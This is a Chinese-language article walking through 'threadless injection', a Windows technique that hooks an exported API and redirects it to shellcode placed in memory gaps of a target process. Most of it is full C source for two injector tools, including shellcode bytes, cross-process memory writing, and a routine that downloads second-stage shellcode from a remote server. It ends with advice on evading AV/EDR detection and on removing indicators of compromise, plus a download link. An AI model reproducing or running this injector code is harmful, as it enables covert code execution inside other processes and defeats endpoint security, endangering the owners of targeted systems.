基本原理及执行流程一览

无线程注入是在B-Sides Cymru 2023大会上发表的议题,是一种新型的远程注入手法,原理就是对hook的函数jump到dll的内存空隙的第一段shellcode(二次重定向功能)当中,然后再jump到第二段shellcode(真正的shellcode)执行。具体执行过程如图

第一步,注入的进程调用的被hook的API函数并重定向到我们的第一段shellcode,第二步就是执行第一段shellcode负责跳转到第二段shellcode,第三步跳转到第二段shellcode并执行,第四步返回到第一段shellcode执行跳转回到原本API函数的位置重新执行本身的功能。

threadless inject的主要绕过思路就是跟其他执行内存的方式不同,通过这种方式绕过了AV/EDR的一些检测,下面我会通过对相关代码进行讲解,来让读者们了解具体的实现细节。因为这些代码都只是POC,直接使用效果并不会太好,在文章末尾,我会说明一下这些代码的优化思路,以保证实现更好的绕过。

首先,我们需要知道什么是内存间隙,在内存中指令不是紧密无间没有孔隙的,我们可以试图寻找一些可以放下我们的shellcode的空隙来把shellcode放入进去,最后通过hook的API来重定向到这段shellcode并执行。

第一份基础代码解析

unsigned char shellcode_loader[] = {    0x58,                               // pop rax    0x48, 0x83, 0xE8, 0x05,             // sub rax, 0x05    0x50,                               // push rax    0x51,                               // push rcx    0x52,                               // push rdx    0x41, 0x50,                         // push r8    0x41, 0x51,                         // push r9    0x41, 0x52,                         // push r10    0x41, 0x53,                         // push r11    0x48, 0xB9,                         // mov rcx, <address>  第二段shellcode的地址    0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,    0x48, 0x89, 0x08,                   // mov [rax], rcx    0x48, 0x83, 0xEC, 0x40,             // sub rsp, 0x40    0xE8, 0x11, 0x00, 0x00, 0x00,       // call <relative offset>  执行第二段shellcode    0x48, 0x83, 0xC4, 0x40,             // add rsp, 0x40    0x41, 0x5B,                         // pop r11    0x41, 0x5A,                         // pop r10    0x41, 0x59,                         // pop r9    0x41, 0x58,                         // pop r8    0x5A,                               // pop rdx    0x59,                               // pop rcx    0x58,                               // pop rax    0xFF, 0xE0,                         // jmp rax  跳转回被hook的API函数地址    0x90                                // nop};
弹出计算器unsigned char shellcode[] = {0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3};
最终shellcode拼接,将两段shellcode合并到一个result里面void ConcatArrays(unsigned char* result, const unsigned char* arr1, size_t arr1Size, const unsigned char* arr2, size_t arr2Size) {    // Copy elements from the first array    for (size_t i = 0; i < arr1Size; ++i) {        result[i] = arr1[i];    }
    // Copy elements from the second array    for (size_t i = 0; i < arr2Size; ++i) {        result[arr1Size + i] = arr2[i];    }}
寻找内存间隙int64_t FindMemoryHole(IN HANDLE hProcess, IN void** exportedFunctionAddress, IN int size){    UINT_PTR  remoteAddress;    BOOL foundMemory = FALSE;    uint64_t exportAddress = exportedFunctionAddress;在一定偏移量范围之内寻找内存间隙    for (remoteAddress = (exportAddress & 0xFFFFFFFFFFF70000) - 0x70000000;        remoteAddress < exportAddress + 0x70000000;        remoteAddress += 0x10000)    {给内存间隙直接申请一段RWX的内存        LPVOID lpAddr = VirtualAllocEx(hProcess, remoteAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);        if (lpAddr == NULL)        {            continue;        }        foundMemory = TRUE;        break;    }
    if (foundMemory == TRUE)    {        printf("  [*] Found Memory Hole: %p\n", remoteAddress);        return remoteAddress;    }
    return 0;
}
修改跳转地址,即第18个字节0xB9,修改为对应的地址void GenerateHook(int64_t originalInstruction){    *(uint64_t*)(shellcode_loader + 0x12) = originalInstruction;    printf("  [+] Hook successfully placed");}
int main(int argc, char** argv){首先获取命令行信息,声明变量    if (argc != 4) {        printf("\n");        printf("[ERROR]: DLL, Exported Function or PID is missing!\n");        printf("  [Demo Usage]: ThreadlessInject-C.exe kernelbase.dll CreateEventW 1000\n\n");        return 0;    }  要hook的dll    char* moduleName = argv[1];  要hook的函数    char* exportedFunction = argv[2];  PID    DWORD pid = atoi(argv[3]);    BOOL rez = FALSE;    int writtenBytes = 0;
    //Loading DLL into the process    printf("\n[*] Loading: %s\n", moduleName);  获取对应dll的句柄    HMODULE hModule = GetModuleHandle(argv[1]);  如果获取不到,就先在本进程加载这个dll    if (hModule == NULL){        hModule = LoadLibraryA(argv[1]);    }  无法加载?异常问题无法加载,退出    if (hModule == NULL)    {        printf("[ERROR] Could not load %s\n", moduleName);        return -99;    }    printf("  [+] Successfully loaded %s\n\n", moduleName);
    获取想要注入的API函数的地址    printf("[*] Getting the address of %s\n", exportedFunction);    void* exportedFunctionAddress = GetProcAddress(hModule, exportedFunction);    if (exportedFunctionAddress == NULL)    {        printf("  [ERROR] Could not find %s in %s\n", exportedFunction, moduleName);        return -99;    }    printf("  [+] %s Address: 0x%p\n\n", exportedFunction, exportedFunctionAddress);

    获取目标进程的句柄    printf("[*] Trying to open process with pid: %d\n", pid);    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProcess == NULL)    {        printf("  [ERROR] Could not open process with pid %d\n", pid);        return -99;    }    printf("  [+] Successfully opened process with pid %d\n\n", pid);
    找内存间隙    printf("[*] Trying to find memory holes\n");    int64_t memoryHoleAddress = FindMemoryHole(hProcess, exportedFunctionAddress, sizeof(shellcode_loader) + sizeof(shellcode));    if (memoryHoleAddress == 0)    {        printf("  [Error] Could not find memory hole\n");        return -99;    }  获取要被hook的函数的地址    // Reading content from memory address of exported function    printf("[*] Reading bytes from the memory address of %s\n", exportedFunction);    int64_t originalBytes = *(int64_t*)exportedFunctionAddress;    printf("  [+] Address %p has value = %lld\n\n", exportedFunctionAddress, originalBytes);
修改要跳转的地址,将shellcode修改成完全体    // Implementing the hook    printf("[*] Generating hook");    GenerateHook(originalBytes);将进程的某个导出函数的执行权限改成RWX    //Chaning the memory protection settings of the exported function into the calling process to RWX    printf("[*] Changing the memory protection of %s to RWX\n", exportedFunction);    DWORD oldProtect = 0;    if (!VirtualProtectEx(hProcess, exportedFunctionAddress, 8, PAGE_EXECUTE_READWRITE, &oldProtect))    {        printf("  [Error] Could not change the memory protection settings\n");        return -99;    }    printf("  [+] Successfully changed the memory protection settings of %s to RWX\n", exportedFunction);
    修改目标函数的指令,加入跳转指令(目标是跳转到我们的第一段shellcode)    printf("[*] Trying to inject the call assembly for the exported function\n");    int callPointerAddress = (memoryHoleAddress - ((UINT_PTR)exportedFunctionAddress + 5));    unsigned char callFunctionShellcode[] = { 0xe8, 0, 0, 0, 0 };    *(int*)(callFunctionShellcode + 1) = callPointerAddress;  修改内存属性,改成RWX    VirtualProtectEx(hProcess, callFunctionShellcode, sizeof(callFunctionShellcode), PAGE_EXECUTE_READWRITE, NULL);  将callFunctionShellcode写入目标地址内存中    if (!WriteProcessMemory(hProcess, exportedFunctionAddress, callFunctionShellcode, sizeof(callFunctionShellcode), &writtenBytes))    {        printf("  [Error] Could redirect %s\n", exportedFunction);        return -99;    }
    printf("  [+] Successfully modified %s function to call the custom shellcode\n", exportedFunction);
    // Compiling final payload and injecting the hook  将两段shellcode合并到一起    unsigned char payload[sizeof(shellcode_loader) + sizeof(shellcode)];    ConcatArrays(&payload, &shellcode_loader, sizeof(shellcode_loader), shellcode, sizeof(shellcode));  修改内存属性为RW    if (!VirtualProtectEx(hProcess, memoryHoleAddress, sizeof(payload), PAGE_READWRITE, &oldProtect)){        printf("[Error] Modifying the memory protection of the memory hole: %p before write\n", memoryHoleAddress);        return -99;    }  将合并的shellcode写入到目标进程    if (!WriteProcessMemory(hProcess, memoryHoleAddress, payload, sizeof(payload), &writtenBytes))    {        printf("[Error] Writing to the memory hole address: %p\n", memoryHoleAddress);        return -99;    }  将合并的shellcode内存属性更改为可读可执行    if (!VirtualProtectEx(hProcess, memoryHoleAddress, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect))    {        printf("[Error] Modifying the memory protection of the memory hole: %p after write\n", memoryHoleAddress);        return -99;    }
    printf("\n[+] Injection successful, wait for your trigger function!\n");    Sleep(2000);}

从下图可以看到,在没有注入时,kernelbase.dll里面没有RWX的内存,在注入之后,kernelbase.dll里面申请了一段RWX的内存

第二份代码解析

第二份与之前执行思路基本相同,区别就是把第二段shellcode放到了远程服务器,内存空隙是放在另一个dll的文本段上(这可能是比较不错的寻找内存间隙的思路,但也要看AV/EDR的容忍度,毕竟要远程加载一个dll,还要对他的内存做出一些修改),具体内容如下

#include "commun.h"

int wmain(int argc, wchar_t** argv) {
    if (argc != 8) {        printf("\n\tUsage:\n\t\tD1rkInject.exe   <resource>    \n\n");        return -1;    }    声明命令行变量    wchar_t* whost = argv[1];  host地址    DWORD port = _wtoi(argv[2]);  端口    wchar_t* wresource = argv[3];  路径    DWORD pid = _wtoi(argv[4]);  pid    wchar_t* wInjectedLoadedModuleName= argv[5];  要注入的dll名称chakra.dll    wchar_t* wHookedModuleName = argv[6];  被注入的dll名称 ntdll.dll    wchar_t* wHookedApiName = argv[7];  api名
  getdata函数获取shellcode    DATA shellcode = GetData(whost, port, wresource);    if (shellcode.data == NULL) {        printf("[-] Failed to get remote shellcode (%u)\n", GetLastError());        return -1;    }
    printf("\n[+] shellcode @ %p (%d bytes)\n", shellcode.data, shellcode.len);  获取目标进程的句柄    HANDLE hproc = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);
  GetRXhole函数获取RX的内存空隙(从注入的charka.dll中)    LPVOID RX_hole_addr = GetRXhole(hproc, wInjectedLoadedModuleName, shellcode.len);    if (RX_hole_addr == NULL) {        printf("[-] Failed to find a hole (%u)\n", GetLastError());        return -1;    }
    printf("[+] RX_hole_addr in %ws is @ %p\n", wInjectedLoadedModuleName, RX_hole_addr);
    InjectThatMTF函数,将shellcode注入到charka.dll中    if(!InjectThatMTF(hproc, RX_hole_addr, shellcode, wHookedModuleName, wHookedApiName)) {        printf("[+] Failed to inject %ws or Hook %ws\n", wInjectedLoadedModuleName, wHookedApiName);        return -1;    }    printf("[+] %ws of the Target process with PID : %d is injected at address with the HookCode + Shellcode : %p\n", wInjectedLoadedModuleName, pid, RX_hole_addr);
    char input1[100];    do {        printf("[+] Enter \"APT stands for Are You Pretending To-hack?\" if you got a callback to Change hooked API protection from RWX => RX\n");        fgets(input1, sizeof(input1), stdin);        input1[strcspn(input1, "\n")] = 0;    } while (strcmp(input1, "APT stands for Are You Pretending To-hack?") != 0);
    DWORD oldProtect = 0;    size_t len = wcslen(wHookedApiName) + 1;    char* APIName = (char*)malloc(len);    size_t convertedChars = 0;    wcstombs_s(&convertedChars, APIName, len, wHookedApiName, _TRUNCATE);  获取ntdll的目标API函数地址    FARPROC apiAddr = GetProcAddress(GetModuleHandle(wHookedModuleName), APIName);  更改内存权限为RX    if (!VirtualProtectEx(hproc, apiAddr, 8, PAGE_EXECUTE_READ, &oldProtect)) {        printf("Failed to change memory protection.\n");        return FALSE;    }

    char input2[100];
    do {        printf("[+] Enter \"APT stands for Advanced Persistence Tomato\" to Unload the Infected %ws to remove any IOC\n", wInjectedLoadedModuleName);        fgets(input2, sizeof(input2), stdin);         input2[strcspn(input2, "\n")] = 0;     } while (strcmp(input2, "APT stands for Advanced Persistence Tomato") != 0); 注入内存后从目标进程中取消加载的charka.dll    if (!UnloadModule(hproc, wInjectedLoadedModuleName)) {        printf("[+] Failed to Unload %ws\n in the target process\n", wInjectedLoadedModuleName);        return -1;    }
    printf("[+] %ws Unloaded successfully\n", wInjectedLoadedModuleName);
    return 0;


}
#include "commun.h"

BOOL InjectThatMTF(HANDLE hProc, LPVOID RX_hole_addr,DATA shellcode, wchar_t* wModuleName, wchar_t* wAPIName) {
    用来做hook的shellcode    // will load the shellcode and revert the hooked API    char HookCode[] = {        0x58,                           // pop    rax        0x48, 0x83, 0xE8, 0x05,         // sub    rax,0x5        0x50,                           // push   rax        0x51,                           // push   rcx        0x52,                           // push   rdx        0x41, 0x50,                     // push   r8        0x41, 0x51,                     // push   r9        0x41, 0x52,                     // push   r10        0x41, 0x53,                     // push   r11        0x48, 0xB9, 0x88, 0x77, 0x66,   // movabs rcx,0x1122334455667788        0x55,0x44, 0x33, 0x22, 0x11,         0x48, 0x89, 0x08,               // mov    QWORD PTR [rax],rcx        0x48, 0x83, 0xEC, 0x40,         // sub    rsp,0x40        0xE8, 0x11, 0x00, 0x00, 0x00,   // call   shellcode        0x48, 0x83, 0xC4, 0x40,         // add    rsp,0x40        0x41, 0x5B,                     // pop    r11        0x41, 0x5A,                     // pop    r10        0x41, 0x59,                     // pop    r9        0x41, 0x58,                     // pop    r8         0x5A,                           // pop    rdx        0x59,                           // pop    rcx        0x58,                           // pop    rax        0xFF, 0xE0,                     // jmp    rax        0x90                            // nop    };

    /*
        change 0x1122334455667788 in HookCode with         the Original 8 bytes of APIName opcodes 
    */
    size_t len = wcslen(wAPIName) + 1;    char* APIName = (char*)malloc(len);    size_t convertedChars = 0;    wcstombs_s(&convertedChars, APIName, len, wAPIName, _TRUNCATE);    获取目标dll的api函数地址    // get address of the function    FARPROC apiAddr = GetProcAddress(GetModuleHandle(wModuleName), APIName);    if (apiAddr == NULL) {        free(APIName);        printf("Failed to get the address of the function.\n");        return FALSE;    }    读取目标API的前八个字节的内容    // read 8 bytes from the start of the function    unsigned char originalOpcodes[8];    if (!ReadProcessMemory(hProc, apiAddr, &originalOpcodes, sizeof(originalOpcodes), NULL)) {        free(APIName);        printf("Failed to read the original opcodes.\n");        return FALSE;





    }    替换原始shellcode的跳转地址    // replace the placeholder in the hook code with the original opcodes    memcpy(HookCode + 18, originalOpcodes, sizeof(originalOpcodes));

    /*         update "call shellcode"         in HookCode    */    计算到目标shellcode地址的偏移量    // calculate the relative offset from the call instruction to the target address    DWORD offset = (DWORD)((char*)RX_hole_addr - (char*)(HookCode + sizeof(HookCode)));    替换地址    // replace the placeholder offset in the hook code with the calculated offset    memcpy(HookCode + 39, &offset, sizeof(offset));

    /*        Hook the loaded modules         with the HookCode + Shellcode    */    将这段内存改成RWX    DWORD oldProtect;    // Change the protection of the memory region to RWX    if (!VirtualProtectEx(hProc, RX_hole_addr, sizeof(HookCode) + shellcode.len, PAGE_EXECUTE_READWRITE, &oldProtect)){        printf("VirtualProtectEx failed (%u)\n", GetLastError());        return FALSE;    }    把第一段shellcode写入到内存间隙中    // Write the HookCode into the memory region    SIZE_T bytesWritten;    if (!WriteProcessMemory(hProc, RX_hole_addr, HookCode, sizeof(HookCode), &bytesWritten)){        printf("WriteProcessMemory failed (%u)\n", GetLastError());        return FALSE;    }    将第二段shellcode写入到内存间隙中    // Write the shellcode into the memory region right after the HookCode    if (!WriteProcessMemory(hProc, (LPBYTE)RX_hole_addr + sizeof(HookCode), shellcode.data, shellcode.len, &bytesWritten)){        printf("WriteProcessMemory failed (%u)\n", GetLastError());        return FALSE;    }    修改为原来的内存属性    // Restore the original protection of the memory region    if (!VirtualProtectEx(hProc, RX_hole_addr, sizeof(HookCode) + shellcode.len, oldProtect, &oldProtect)){        printf("VirtualProtectEx failed (%u)\n", GetLastError());        return FALSE;    }

    /*        Hook the API with call RX_hole_addr    */

    在目标函数处设立一个跳转    // Create a call instruction which jumps to RX_hole_addr.    unsigned char callInstruction[5] = { 0xE8, 0x00, 0x00, 0x00, 0x00 };    offset = (DWORD)((char*)RX_hole_addr - ((char*)apiAddr + sizeof(callInstruction)));    memcpy(callInstruction + 1, &offset, sizeof(offset));
    // Replace the first instruction of the API function with our call instruction.     oldProtect = 0;    修改目标API地址的这段内存属性为RWX    if (!VirtualProtectEx(hProc, apiAddr, 8, PAGE_EXECUTE_READWRITE, &oldProtect)) {        printf("Failed to change memory protection.\n");        return FALSE;    }    把跳转指令写进去    bytesWritten = 0;    if (!WriteProcessMemory(hProc, apiAddr, callInstruction, sizeof(callInstruction), &bytesWritten)) {        printf("Failed to write the new instruction.\n");        return FALSE;    }

    if (bytesWritten != sizeof(callInstruction)) {        printf("Failed to write the full instruction.\n");        return FALSE;    }
    return TRUE;
}
总体上的内容就是获取web服务器上的shellcode,具体代码不做解释了#include "commun.h"
DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) {
    DATA data;    std::vector<unsigned char> buffer;    DWORD dwSize = 0;    DWORD dwDownloaded = 0;    LPSTR pszOutBuffer = NULL;    BOOL  bResults = FALSE;    HINTERNET  hSession = NULL,        hConnect = NULL,        hRequest = NULL;    // Use WinHttpOpen to obtain a session handle.    hSession = WinHttpOpen(L"WinHTTP Example/1.0",        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,        WINHTTP_NO_PROXY_NAME,        WINHTTP_NO_PROXY_BYPASS, 0);

    // Specify an HTTP server.    if (hSession)        hConnect = WinHttpConnect(hSession, whost,            port, 0);    else        printf("Failed in WinHttpConnect (%u)\n", GetLastError());
    // Create an HTTP request handle.    if (hConnect)        hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource,            NULL, WINHTTP_NO_REFERER,            WINHTTP_DEFAULT_ACCEPT_TYPES,            NULL);    else        printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());
    // Send a request.    if (hRequest)        bResults = WinHttpSendRequest(hRequest,            WINHTTP_NO_ADDITIONAL_HEADERS,            0, WINHTTP_NO_REQUEST_DATA, 0,            0, 0);    else        printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());
    // End the request.    if (bResults)        bResults = WinHttpReceiveResponse(hRequest, NULL);    else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());
    // Keep checking for data until there is nothing left.    if (bResults)        do        {            // Check for available data.            dwSize = 0;            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))                printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError());
            // Allocate space for the buffer.            pszOutBuffer = new char[dwSize + 1];            if (!pszOutBuffer)            {                printf("Out of memory\n");                dwSize = 0;            }            else            {                // Read the Data.                ZeroMemory(pszOutBuffer, dwSize + 1);
                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,                    dwSize, &dwDownloaded))                    printf("Error %u in WinHttpReadData.\n", GetLastError());                else {
                    buffer.insert(buffer.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);
                }                delete[] pszOutBuffer;            }
        } while (dwSize > 0);
        if (buffer.empty() == TRUE)        {            printf("Failed in retrieving the Shellcode");        }
        // Report any errors.        if (!bResults)            printf("Error %d has occurred.\n", GetLastError());
        // Close any open handles.        if (hRequest) WinHttpCloseHandle(hRequest);        if (hConnect) WinHttpCloseHandle(hConnect);        if (hSession) WinHttpCloseHandle(hSession);
        size_t size = buffer.size();
        char* bufdata = (char*)malloc(size);        for (int i = 0; i < buffer.size(); i++) {            bufdata[i] = buffer[i];        }        data.data = bufdata;        data.len = size;        return data;
}
#include "commun.h"
DWORD prevOffset = 0;
#define MIN_GAP 20000  // minimum gap between two random offsets生成一个随机的偏移量方便后面寻找内存间隙DWORD get_random_offset(DWORD maxOffset) {
    DWORD newOffset = rand() % maxOffset;
    while ((newOffset > prevOffset ? newOffset - prevOffset : prevOffset - newOffset) < MIN_GAP) {        newOffset = rand() % maxOffset;    }
    prevOffset = newOffset;    return newOffset;}

确保dll已经注入到目标进程的内存里面了// Check if a module is loaded in a process's address spaceBOOL IsModuleLoaded(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {    HMODULE hMods[1024];    DWORD cbNeeded;    unsigned int i;    wchar_t szModName[MAX_PATH];
    if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {        for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {            if (GetModuleBaseNameW(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) {                if (wcscmp(szModName, wInjectedLoadedModule) == 0) {                    return TRUE;                }            }        }    }
    return FALSE;}

从这个进程中获取chakra.dll的handle// Get a module handle from the processHMODULE GetRemoteModuleHandle(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {    HMODULE hMods[1024];    DWORD cbNeeded;    unsigned int i;    wchar_t szModName[MAX_PATH];
    if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {        for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {            if (GetModuleBaseNameW(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) {                if (wcscmp(szModName, wInjectedLoadedModule) == 0) {                    return hMods[i];                }            }        }    }
    return NULL;}
找到一个RX的内存空隙(从chakra.dll中查找,即使更改文本节内存里面的内容,也不会导致崩溃)LPVOID GetRXhole(HANDLE hProcess, wchar_t* wInjectedLoadedModuleName, size_t shellcodeLen) {
    if (!IsModuleLoaded(hProcess, wInjectedLoadedModuleName)) {        LPVOID RXspot = NULL;    内存大小        SIZE_T mdlSize = (wcslen(wInjectedLoadedModuleName) + 1) * sizeof(wchar_t);
        PTHREAD_START_ROUTINE pLoadLibrary = NULL;    获取kernel32.dll的句柄        pLoadLibrary = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryW");        if (!pLoadLibrary) {            printf("Failed to get LoadLibrary Address (%u)\n", GetLastError());            return NULL;        }    申请一段可读可写的内存        PVOID mdlStrAlloc = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);        if (!mdlStrAlloc) {            printf("Failed to Allocate mem in the remote process (%u)\n", GetLastError());            return NULL;        }
        printf("[+] mdlStrAlloc : %p\n", mdlStrAlloc);    将当前进程的内存复制到目标进程的内存中        BOOL writeStatus = WriteProcessMemory(hProcess, mdlStrAlloc, (LPVOID)wInjectedLoadedModuleName, mdlSize, NULL);        if (!writeStatus) {            printf("Failed to Write to the allocated mem (%u)\n", GetLastError());            return NULL;        }    创建远程线程        HANDLE hthread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, mdlStrAlloc, 0, NULL);        if (!hthread) {            printf("Failed to create remote thread (%u)\n", GetLastError());            return NULL;        }
        // Wait for the remote thread to finish        WaitForSingleObject(hthread, INFINITE);
    //检测线程是否存在        // Check the thread exit code        DWORD exitCode;        if (!GetExitCodeThread(hthread, &exitCode)) {            printf("Failed to get exit code (%u)\n", GetLastError());            CloseHandle(hthread);            return FALSE;        }
        CloseHandle(hthread);    获取dll基址的指针        PVOID mdlBaseAddr = LoadLibrary(wInjectedLoadedModuleName);        if (!mdlBaseAddr) {            printf("[!] Failed to resolve the remote module addr\n");            return NULL;        }        IMAGE_DOS_HEADER* DOS_HEADER = (IMAGE_DOS_HEADER*)mdlBaseAddr;        IMAGE_NT_HEADERS* NT_HEADER = (IMAGE_NT_HEADERS*)((DWORD64)mdlBaseAddr + DOS_HEADER->e_lfanew);        IMAGE_SECTION_HEADER* SECTION_HEADER = IMAGE_FIRST_SECTION(NT_HEADER);
        LPVOID txtSectionBase = (LPVOID)((DWORD64)mdlBaseAddr + (DWORD64)SECTION_HEADER->PointerToRawData);        DWORD txtSectionSize = SECTION_HEADER->SizeOfRawData;
    如果找到的内存间隙小于第二段shellcode长度        if (txtSectionSize < shellcodeLen) {            printf("[-] Choose Another Module with a large \".text\" section\n");            return NULL;        }
        // Initialize random seed        srand((unsigned)time(NULL));确认这段RX内存的地址        DWORD randomOffset = get_random_offset(txtSectionSize - shellcodeLen);        printf("[+] randomOffset %d\n", randomOffset);
        RXspot = (LPVOID)((DWORD64)txtSectionBase + randomOffset);
        return RXspot;    }    else {        printf("[!] %ws is already loaded in the target process\n", wInjectedLoadedModuleName);        return NULL;    }
}
取消加载到目标进程中的dll// Unload a module from a processBOOL UnloadModule(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {
    HMODULE hMod = GetRemoteModuleHandle(hProcess, wInjectedLoadedModule);
    if (hMod == NULL) {        printf("Module not found.\n");        return FALSE;    }
    // Get address of FreeLibrary in kernel32.dll    LPVOID FreeLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "FreeLibrary");
    if (FreeLibraryAddr == NULL) {        printf("Failed to get address of FreeLibrary (%u)\n", GetLastError());        return FALSE;    }  释放这段远程线程的内存    // Call FreeLibrary in the context of the remote process    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)FreeLibraryAddr, hMod, 0, NULL);
    if (hThread == NULL) {        printf("Failed to create remote thread (%u)\n", GetLastError());        return FALSE;    }
    // Wait for the remote thread to finish    WaitForSingleObject(hThread, INFINITE);
    // Check the thread exit code    DWORD exitCode;    if (!GetExitCodeThread(hThread, &exitCode)) {        printf("Failed to get exit code (%u)\n", GetLastError());        CloseHandle(hThread);        return FALSE;    }
    CloseHandle(hThread);
    if (!IsModuleLoaded(hProcess, wInjectedLoadedModule)) {        return TRUE;    }
    return FALSE;}

从下图可以看到成功注入了chakra.dll

改进思路

第一段shellcode功能比较简单,很容易作为IOC进行检测,对这段shellcode进行一定的优化,加入一些混淆指令

hookAPI的方式是最简单的修改指令,更换为更加隐蔽的hook方法,比如硬件断点等

申请RWX是非常敏感的行为,可以先RW再RX

用更加隐蔽的调用链条,使用一些冷门的API函数

可以做成BOF,思路大差不差

参考

https://github.com/lsecqt/ThreadlessInject-C/blob/main/ThreadlessInject-C/ThreadlessInject-C.c
Github:https://github.com/SaadAhla/D1rkInject/tree/main

直链地址下载:https://lp.lmboke.com/D1rkInject-main.zip

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。